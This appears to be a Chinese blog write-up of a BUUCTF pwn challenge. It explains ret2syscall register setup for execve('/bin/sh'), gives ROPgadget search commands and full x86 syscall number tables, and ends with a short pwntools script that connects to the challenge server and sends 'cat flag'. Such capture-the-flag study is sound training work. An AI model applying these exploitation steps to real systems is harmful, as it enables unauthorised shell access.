BUUCTF-others_shellcode1-优快云博客

0x1 checksec

开启PIE了

0x2 IDA

很少的函数,很简洁

还挺明了

有Getshell

看看它

这样就很清楚了

是ret2syscall题

如果说想通过系统调用执行的是： execve("/bin/sh",NULL,NULL)（32位程序）
那么 eax 寄存器应该放系统调用号，查看 execve 的系统调用号：
cat /usr/include/asm/unistd_32.h | grep execve
得到 11，转换为 16 进制是 0xb，所以 eax 中应该存放 0xb

ebx 应该存放想要执行的 /bin/sh 的地址，还有两个参数设置为 0

所以现在需要做的就是让：
eax=0xb
ebx=/bin/sh 的地址
ecx=0
edx=0

只需要让栈顶的值是 0xb 然后可以通过 pop eax 达到目的

要用：ROPgadget 来查找
使用命令找到 pop eax： ROPgadget --binary rop --only 'pop|ret' | grep 'eax'
同时使用：ROPgadget --binary rop --string '/bin/sh' 找到 '/bin/sh' 字符串在什么地方
以及需要的 int 0x80：ROPgadget --binary rop --only 'int'

系统调用号

32位

#ifndef _ASM_X86_UNISTD_32_H
#define _ASM_X86_UNISTD_32_H 1

#define __NR_restart_syscall 0
#define __NR_exit 1
#define __NR_fork 2
#define __NR_read 3
#define __NR_write 4
#define __NR_open 5
#define __NR_close 6
#define __NR_waitpid 7
#define __NR_creat 8
#define __NR_link 9
#define __NR_unlink 10
#define __NR_execve 11
#define __NR_chdir 12
#define __NR_time 13
#define __NR_mknod 14
#define __NR_chmod 15
#define __NR_lchown 16
#define __NR_break 17
#define __NR_oldstat 18
#define __NR_lseek 19
#define __NR_getpid 20
#define __NR_mount 21
#define __NR_umount 22
#define __NR_setuid 23
#define __NR_getuid 24
#define __NR_stime 25
#define __NR_ptrace 26
#define __NR_alarm 27
#define __NR_oldfstat 28
#define __NR_pause 29
#define __NR_utime 30
#define __NR_stty 31
#define __NR_gtty 32
#define __NR_access 33
#define __NR_nice 34
#define __NR_ftime 35
#define __NR_sync 36
#define __NR_kill 37
#define __NR_rename 38
#define __NR_mkdir 39
#define __NR_rmdir 40
#define __NR_dup 41
#define __NR_pipe 42
#define __NR_times 43
#define __NR_prof 44
#define __NR_brk 45
#define __NR_setgid 46
#define __NR_getgid 47
#define __NR_signal 48
#define __NR_geteuid 49
#define __NR_getegid 50
#define __NR_acct 51
#define __NR_umount2 52
#define __NR_lock 53
#define __NR_ioctl 54
#define __NR_fcntl 55
#define __NR_mpx 56
#define __NR_setpgid 57
#define __NR_ulimit 58
#define __NR_oldolduname 59
#define __NR_umask 60
#define __NR_chroot 61
#define __NR_ustat 62
#define __NR_dup2 63
#define __NR_getppid 64
#define __NR_getpgrp 65
#define __NR_setsid 66
#define __NR_sigaction 67
#define __NR_sgetmask 68
#define __NR_ssetmask 69
#define __NR_setreuid 70
#define __NR_setregid 71
#define __NR_sigsuspend 72
#define __NR_sigpending 73
#define __NR_sethostname 74
#define __NR_setrlimit 75
#define __NR_getrlimit 76
#define __NR_getrusage 77
#define __NR_gettimeofday 78
#define __NR_settimeofday 79
#define __NR_getgroups 80
#define __NR_setgroups 81
#define __NR_select 82
#define __NR_symlink 83
#define __NR_oldlstat 84
#define __NR_readlink 85
#define __NR_uselib 86
#define __NR_swapon 87
#define __NR_reboot 88
#define __NR_readdir 89
#define __NR_mmap 90
#define __NR_munmap 91
#define __NR_truncate 92
#define __NR_ftruncate 93
#define __NR_fchmod 94
#define __NR_fchown 95
#define __NR_getpriority 96
#define __NR_setpriority 97
#define __NR_profil 98
#define __NR_statfs 99
#define __NR_fstatfs 100
#define __NR_ioperm 101
#define __NR_socketcall 102
#define __NR_syslog 103
#define __NR_setitimer 104
#define __NR_getitimer 105
#define __NR_stat 106
#define __NR_lstat 107
#define __NR_fstat 108
#define __NR_olduname 109
#define __NR_iopl 110
#define __NR_vhangup 111
#define __NR_idle 112
#define __NR_vm86old 113
#define __NR_wait4 114
#define __NR_swapoff 115
#define __NR_sysinfo 116
#define __NR_ipc 117
#define __NR_fsync 118
#define __NR_sigreturn 119
#define __NR_clone 120
#define __NR_setdomainname 121
#define __NR_uname 122
#define __NR_modify_ldt 123
#define __NR_adjtimex 124
#define __NR_mprotect 125
#define __NR_sigprocmask 126
#define __NR_create_module 127
#define __NR_init_module 128
#define __NR_delete_module 129
#define __NR_get_kernel_syms 130
#define __NR_quotactl 131
#define __NR_getpgid 132
#define __NR_fchdir 133
#define __NR_bdflush 134
#define __NR_sysfs 135
#define __NR_personality 136
#define __NR_afs_syscall 137
#define __NR_setfsuid 138
#define __NR_setfsgid 139
#define __NR__llseek 140
#define __NR_getdents 141
#define __NR__newselect 142
#define __NR_flock 143
#define __NR_msync 144
#define __NR_readv 145
#define __NR_writev 146
#define __NR_getsid 147
#define __NR_fdatasync 148
#define __NR__sysctl 149
#define __NR_mlock 150
#define __NR_munlock 151
#define __NR_mlockall 152
#define __NR_munlockall 153
#define __NR_sched_setparam 154
#define __NR_sched_getparam 155
#define __NR_sched_setscheduler 156
#define __NR_sched_getscheduler 157
#define __NR_sched_yield 158
#define __NR_sched_get_priority_max 159
#define __NR_sched_get_priority_min 160
#define __NR_sched_rr_get_interval 161
#define __NR_nanosleep 162
#define __NR_mremap 163
#define __NR_setresuid 164
#define __NR_getresuid 165
#define __NR_vm86 166
#define __NR_query_module 167
#define __NR_poll 168
#define __NR_nfsservctl 169
#define __NR_setresgid 170
#define __NR_getresgid 171
#define __NR_prctl 172
#define __NR_rt_sigreturn 173
#define __NR_rt_sigaction 174
#define __NR_rt_sigprocmask 175
#define __NR_rt_sigpending 176
#define __NR_rt_sigtimedwait 177
#define __NR_rt_sigqueueinfo 178
#define __NR_rt_sigsuspend 179
#define __NR_pread64 180
#define __NR_pwrite64 181
#define __NR_chown 182
#define __NR_getcwd 183
#define __NR_capget 184
#define __NR_capset 185
#define __NR_sigaltstack 186
#define __NR_sendfile 187
#define __NR_getpmsg 188
#define __NR_putpmsg 189
#define __NR_vfork 190
#define __NR_ugetrlimit 191
#define __NR_mmap2 192
#define __NR_truncate64 193
#define __NR_ftruncate64 194
#define __NR_stat64 195
#define __NR_lstat64 196
#define __NR_fstat64 197
#define __NR_lchown32 198
#define __NR_getuid32 199
#define __NR_getgid32 200
#define __NR_geteuid32 201
#define __NR_getegid32 202
#define __NR_setreuid32 203
#define __NR_setregid32 204
#define __NR_getgroups32 205
#define __NR_setgroups32 206
#define __NR_fchown32 207
#define __NR_setresuid32 208
#define __NR_getresuid32 209
#define __NR_setresgid32 210
#define __NR_getresgid32 211
#define __NR_chown32 212
#define __NR_setuid32 213
#define __NR_setgid32 214
#define __NR_setfsuid32 215
#define __NR_setfsgid32 216
#define __NR_pivot_root 217
#define __NR_mincore 218
#define __NR_madvise 219
#define __NR_getdents64 220
#define __NR_fcntl64 221
#define __NR_gettid 224
#define __NR_readahead 225
#define __NR_setxattr 226
#define __NR_lsetxattr 227
#define __NR_fsetxattr 228
#define __NR_getxattr 229
#define __NR_lgetxattr 230
#define __NR_fgetxattr 231
#define __NR_listxattr 232
#define __NR_llistxattr 233
#define __NR_flistxattr 234
#define __NR_removexattr 235
#define __NR_lremovexattr 236
#define __NR_fremovexattr 237
#define __NR_tkill 238
#define __NR_sendfile64 239
#define __NR_futex 240
#define __NR_sched_setaffinity 241
#define __NR_sched_getaffinity 242
#define __NR_set_thread_area 243
#define __NR_get_thread_area 244
#define __NR_io_setup 245
#define __NR_io_destroy 246
#define __NR_io_getevents 247
#define __NR_io_submit 248
#define __NR_io_cancel 249
#define __NR_fadvise64 250
#define __NR_exit_group 252
#define __NR_lookup_dcookie 253
#define __NR_epoll_create 254
#define __NR_epoll_ctl 255
#define __NR_epoll_wait 256
#define __NR_remap_file_pages 257
#define __NR_set_tid_address 258
#define __NR_timer_create 259
#define __NR_timer_settime 260
#define __NR_timer_gettime 261
#define __NR_timer_getoverrun 262
#define __NR_timer_delete 263
#define __NR_clock_settime 264
#define __NR_clock_gettime 265
#define __NR_clock_getres 266
#define __NR_clock_nanosleep 267
#define __NR_statfs64 268
#define __NR_fstatfs64 269
#define __NR_tgkill 270
#define __NR_utimes 271
#define __NR_fadvise64_64 272
#define __NR_vserver 273
#define __NR_mbind 274
#define __NR_get_mempolicy 275
#define __NR_set_mempolicy 276
#define __NR_mq_open 277
#define __NR_mq_unlink 278
#define __NR_mq_timedsend 279
#define __NR_mq_timedreceive 280
#define __NR_mq_notify 281
#define __NR_mq_getsetattr 282
#define __NR_kexec_load 283
#define __NR_waitid 284
#define __NR_add_key 286
#define __NR_request_key 287
#define __NR_keyctl 288
#define __NR_ioprio_set 289
#define __NR_ioprio_get 290
#define __NR_inotify_init 291
#define __NR_inotify_add_watch 292
#define __NR_inotify_rm_watch 293
#define __NR_migrate_pages 294
#define __NR_openat 295
#define __NR_mkdirat 296
#define __NR_mknodat 297
#define __NR_fchownat 298
#define __NR_futimesat 299
#define __NR_fstatat64 300
#define __NR_unlinkat 301
#define __NR_renameat 302
#define __NR_linkat 303
#define __NR_symlinkat 304
#define __NR_readlinkat 305
#define __NR_fchmodat 306
#define __NR_faccessat 307
#define __NR_pselect6 308
#define __NR_ppoll 309
#define __NR_unshare 310
#define __NR_set_robust_list 311
#define __NR_get_robust_list 312
#define __NR_splice 313
#define __NR_sync_file_range 314
#define __NR_tee 315
#define __NR_vmsplice 316
#define __NR_move_pages 317
#define __NR_getcpu 318
#define __NR_epoll_pwait 319
#define __NR_utimensat 320
#define __NR_signalfd 321
#define __NR_timerfd_create 322
#define __NR_eventfd 323
#define __NR_fallocate 324
#define __NR_timerfd_settime 325
#define __NR_timerfd_gettime 326
#define __NR_signalfd4 327
#define __NR_eventfd2 328
#define __NR_epoll_create1 329
#define __NR_dup3 330
#define __NR_pipe2 331
#define __NR_inotify_init1 332
#define __NR_preadv 333
#define __NR_pwritev 334
#define __NR_rt_tgsigqueueinfo 335
#define __NR_perf_event_open 336
#define __NR_recvmmsg 337
#define __NR_fanotify_init 338
#define __NR_fanotify_mark 339
#define __NR_prlimit64 340
#define __NR_name_to_handle_at 341
#define __NR_open_by_handle_at 342
#define __NR_clock_adjtime 343
#define __NR_syncfs 344
#define __NR_sendmmsg 345
#define __NR_setns 346
#define __NR_process_vm_readv 347
#define __NR_process_vm_writev 348
#define __NR_kcmp 349
#define __NR_finit_module 350
#define __NR_sched_setattr 351
#define __NR_sched_getattr 352
#define __NR_renameat2 353
#define __NR_seccomp 354
#define __NR_getrandom 355
#define __NR_memfd_create 356
#define __NR_bpf 357
#define __NR_execveat 358
#define __NR_socket 359
#define __NR_socketpair 360
#define __NR_bind 361
#define __NR_connect 362
#define __NR_listen 363
#define __NR_accept4 364
#define __NR_getsockopt 365
#define __NR_setsockopt 366
#define __NR_getsockname 367
#define __NR_getpeername 368
#define __NR_sendto 369
#define __NR_sendmsg 370
#define __NR_recvfrom 371
#define __NR_recvmsg 372
#define __NR_shutdown 373
#define __NR_userfaultfd 374
#define __NR_membarrier 375
#define __NR_mlock2 376
#define __NR_copy_file_range 377
#define __NR_preadv2 378
#define __NR_pwritev2 379

#endif /* _ASM_X86_UNISTD_32_H */

64位

#ifndef _ASM_X86_UNISTD_64_H
#define _ASM_X86_UNISTD_64_H 1

#define __NR_read 0
#define __NR_write 1
#define __NR_open 2
#define __NR_close 3
#define __NR_stat 4
#define __NR_fstat 5
#define __NR_lstat 6
#define __NR_poll 7
#define __NR_lseek 8
#define __NR_mmap 9
#define __NR_mprotect 10
#define __NR_munmap 11
#define __NR_brk 12
#define __NR_rt_sigaction 13
#define __NR_rt_sigprocmask 14
#define __NR_rt_sigreturn 15
#define __NR_ioctl 16
#define __NR_pread64 17
#define __NR_pwrite64 18
#define __NR_readv 19
#define __NR_writev 20
#define __NR_access 21
#define __NR_pipe 22
#define __NR_select 23
#define __NR_sched_yield 24
#define __NR_mremap 25
#define __NR_msync 26
#define __NR_mincore 27
#define __NR_madvise 28
#define __NR_shmget 29
#define __NR_shmat 30
#define __NR_shmctl 31
#define __NR_dup 32
#define __NR_dup2 33
#define __NR_pause 34
#define __NR_nanosleep 35
#define __NR_getitimer 36
#define __NR_alarm 37
#define __NR_setitimer 38
#define __NR_getpid 39
#define __NR_sendfile 40
#define __NR_socket 41
#define __NR_connect 42
#define __NR_accept 43
#define __NR_sendto 44
#define __NR_recvfrom 45
#define __NR_sendmsg 46
#define __NR_recvmsg 47
#define __NR_shutdown 48
#define __NR_bind 49
#define __NR_listen 50
#define __NR_getsockname 51
#define __NR_getpeername 52
#define __NR_socketpair 53
#define __NR_setsockopt 54
#define __NR_getsockopt 55
#define __NR_clone 56
#define __NR_fork 57
#define __NR_vfork 58
#define __NR_execve 59
#define __NR_exit 60
#define __NR_wait4 61
#define __NR_kill 62
#define __NR_uname 63
#define __NR_semget 64
#define __NR_semop 65
#define __NR_semctl 66
#define __NR_shmdt 67
#define __NR_msgget 68
#define __NR_msgsnd 69
#define __NR_msgrcv 70
#define __NR_msgctl 71
#define __NR_fcntl 72
#define __NR_flock 73
#define __NR_fsync 74
#define __NR_fdatasync 75
#define __NR_truncate 76
#define __NR_ftruncate 77
#define __NR_getdents 78
#define __NR_getcwd 79
#define __NR_chdir 80
#define __NR_fchdir 81
#define __NR_rename 82
#define __NR_mkdir 83
#define __NR_rmdir 84
#define __NR_creat 85
#define __NR_link 86
#define __NR_unlink 87
#define __NR_symlink 88
#define __NR_readlink 89
#define __NR_chmod 90
#define __NR_fchmod 91
#define __NR_chown 92
#define __NR_fchown 93
#define __NR_lchown 94
#define __NR_umask 95
#define __NR_gettimeofday 96
#define __NR_getrlimit 97
#define __NR_getrusage 98
#define __NR_sysinfo 99
#define __NR_times 100
#define __NR_ptrace 101
#define __NR_getuid 102
#define __NR_syslog 103
#define __NR_getgid 104
#define __NR_setuid 105
#define __NR_setgid 106
#define __NR_geteuid 107
#define __NR_getegid 108
#define __NR_setpgid 109
#define __NR_getppid 110
#define __NR_getpgrp 111
#define __NR_setsid 112
#define __NR_setreuid 113
#define __NR_setregid 114
#define __NR_getgroups 115
#define __NR_setgroups 116
#define __NR_setresuid 117
#define __NR_getresuid 118
#define __NR_setresgid 119
#define __NR_getresgid 120
#define __NR_getpgid 121
#define __NR_setfsuid 122
#define __NR_setfsgid 123
#define __NR_getsid 124
#define __NR_capget 125
#define __NR_capset 126
#define __NR_rt_sigpending 127
#define __NR_rt_sigtimedwait 128
#define __NR_rt_sigqueueinfo 129
#define __NR_rt_sigsuspend 130
#define __NR_sigaltstack 131
#define __NR_utime 132
#define __NR_mknod 133
#define __NR_uselib 134
#define __NR_personality 135
#define __NR_ustat 136
#define __NR_statfs 137
#define __NR_fstatfs 138
#define __NR_sysfs 139
#define __NR_getpriority 140
#define __NR_setpriority 141
#define __NR_sched_setparam 142
#define __NR_sched_getparam 143
#define __NR_sched_setscheduler 144
#define __NR_sched_getscheduler 145
#define __NR_sched_get_priority_max 146
#define __NR_sched_get_priority_min 147
#define __NR_sched_rr_get_interval 148
#define __NR_mlock 149
#define __NR_munlock 150
#define __NR_mlockall 151
#define __NR_munlockall 152
#define __NR_vhangup 153
#define __NR_modify_ldt 154
#define __NR_pivot_root 155
#define __NR__sysctl 156
#define __NR_prctl 157
#define __NR_arch_prctl 158
#define __NR_adjtimex 159
#define __NR_setrlimit 160
#define __NR_chroot 161
#define __NR_sync 162
#define __NR_acct 163
#define __NR_settimeofday 164
#define __NR_mount 165
#define __NR_umount2 166
#define __NR_swapon 167
#define __NR_swapoff 168
#define __NR_reboot 169
#define __NR_sethostname 170
#define __NR_setdomainname 171
#define __NR_iopl 172
#define __NR_ioperm 173
#define __NR_create_module 174
#define __NR_init_module 175
#define __NR_delete_module 176
#define __NR_get_kernel_syms 177
#define __NR_query_module 178
#define __NR_quotactl 179
#define __NR_nfsservctl 180
#define __NR_getpmsg 181
#define __NR_putpmsg 182
#define __NR_afs_syscall 183
#define __NR_tuxcall 184
#define __NR_security 185
#define __NR_gettid 186
#define __NR_readahead 187
#define __NR_setxattr 188
#define __NR_lsetxattr 189
#define __NR_fsetxattr 190
#define __NR_getxattr 191
#define __NR_lgetxattr 192
#define __NR_fgetxattr 193
#define __NR_listxattr 194
#define __NR_llistxattr 195
#define __NR_flistxattr 196
#define __NR_removexattr 197
#define __NR_lremovexattr 198
#define __NR_fremovexattr 199
#define __NR_tkill 200
#define __NR_time 201
#define __NR_futex 202
#define __NR_sched_setaffinity 203
#define __NR_sched_getaffinity 204
#define __NR_set_thread_area 205
#define __NR_io_setup 206
#define __NR_io_destroy 207
#define __NR_io_getevents 208
#define __NR_io_submit 209
#define __NR_io_cancel 210
#define __NR_get_thread_area 211
#define __NR_lookup_dcookie 212
#define __NR_epoll_create 213
#define __NR_epoll_ctl_old 214
#define __NR_epoll_wait_old 215
#define __NR_remap_file_pages 216
#define __NR_getdents64 217
#define __NR_set_tid_address 218
#define __NR_restart_syscall 219
#define __NR_semtimedop 220
#define __NR_fadvise64 221
#define __NR_timer_create 222
#define __NR_timer_settime 223
#define __NR_timer_gettime 224
#define __NR_timer_getoverrun 225
#define __NR_timer_delete 226
#define __NR_clock_settime 227
#define __NR_clock_gettime 228
#define __NR_clock_getres 229
#define __NR_clock_nanosleep 230
#define __NR_exit_group 231
#define __NR_epoll_wait 232
#define __NR_epoll_ctl 233
#define __NR_tgkill 234
#define __NR_utimes 235
#define __NR_vserver 236
#define __NR_mbind 237
#define __NR_set_mempolicy 238
#define __NR_get_mempolicy 239
#define __NR_mq_open 240
#define __NR_mq_unlink 241
#define __NR_mq_timedsend 242
#define __NR_mq_timedreceive 243
#define __NR_mq_notify 244
#define __NR_mq_getsetattr 245
#define __NR_kexec_load 246
#define __NR_waitid 247
#define __NR_add_key 248
#define __NR_request_key 249
#define __NR_keyctl 250
#define __NR_ioprio_set 251
#define __NR_ioprio_get 252
#define __NR_inotify_init 253
#define __NR_inotify_add_watch 254
#define __NR_inotify_rm_watch 255
#define __NR_migrate_pages 256
#define __NR_openat 257
#define __NR_mkdirat 258
#define __NR_mknodat 259
#define __NR_fchownat 260
#define __NR_futimesat 261
#define __NR_newfstatat 262
#define __NR_unlinkat 263
#define __NR_renameat 264
#define __NR_linkat 265
#define __NR_symlinkat 266
#define __NR_readlinkat 267
#define __NR_fchmodat 268
#define __NR_faccessat 269
#define __NR_pselect6 270
#define __NR_ppoll 271
#define __NR_unshare 272
#define __NR_set_robust_list 273
#define __NR_get_robust_list 274
#define __NR_splice 275
#define __NR_tee 276
#define __NR_sync_file_range 277
#define __NR_vmsplice 278
#define __NR_move_pages 279
#define __NR_utimensat 280
#define __NR_epoll_pwait 281
#define __NR_signalfd 282
#define __NR_timerfd_create 283
#define __NR_eventfd 284
#define __NR_fallocate 285
#define __NR_timerfd_settime 286
#define __NR_timerfd_gettime 287
#define __NR_accept4 288
#define __NR_signalfd4 289
#define __NR_eventfd2 290
#define __NR_epoll_create1 291
#define __NR_dup3 292
#define __NR_pipe2 293
#define __NR_inotify_init1 294
#define __NR_preadv 295
#define __NR_pwritev 296
#define __NR_rt_tgsigqueueinfo 297
#define __NR_perf_event_open 298
#define __NR_recvmmsg 299
#define __NR_fanotify_init 300
#define __NR_fanotify_mark 301
#define __NR_prlimit64 302
#define __NR_name_to_handle_at 303
#define __NR_open_by_handle_at 304
#define __NR_clock_adjtime 305
#define __NR_syncfs 306
#define __NR_sendmmsg 307
#define __NR_setns 308
#define __NR_getcpu 309
#define __NR_process_vm_readv 310
#define __NR_process_vm_writev 311
#define __NR_kcmp 312
#define __NR_finit_module 313
#define __NR_sched_setattr 314
#define __NR_sched_getattr 315
#define __NR_renameat2 316
#define __NR_seccomp 317
#define __NR_getrandom 318
#define __NR_memfd_create 319
#define __NR_kexec_file_load 320
#define __NR_bpf 321
#define __NR_execveat 322
#define __NR_userfaultfd 323
#define __NR_membarrier 324
#define __NR_mlock2 325
#define __NR_copy_file_range 326
#define __NR_preadv2 327
#define __NR_pwritev2 328

#endif /* _ASM_X86_UNISTD_64_H */

0x3EXP

from pwn import *

#context(os='linux', arch='amd64', log_level='debug')

ru=lambda x:io.recvuntil(x)
rl=lambda :io.recvline()
sla=lambda x,y:io.sendlineafter(x,y)
sl=lambda x:io.sendline(x)
rv=lambda x:io.recv(x)

#io = process('./')
io=remote("node4.buuoj.cn",25388)
#elf=ELF('./')

sl('cat flag')

io.interactive()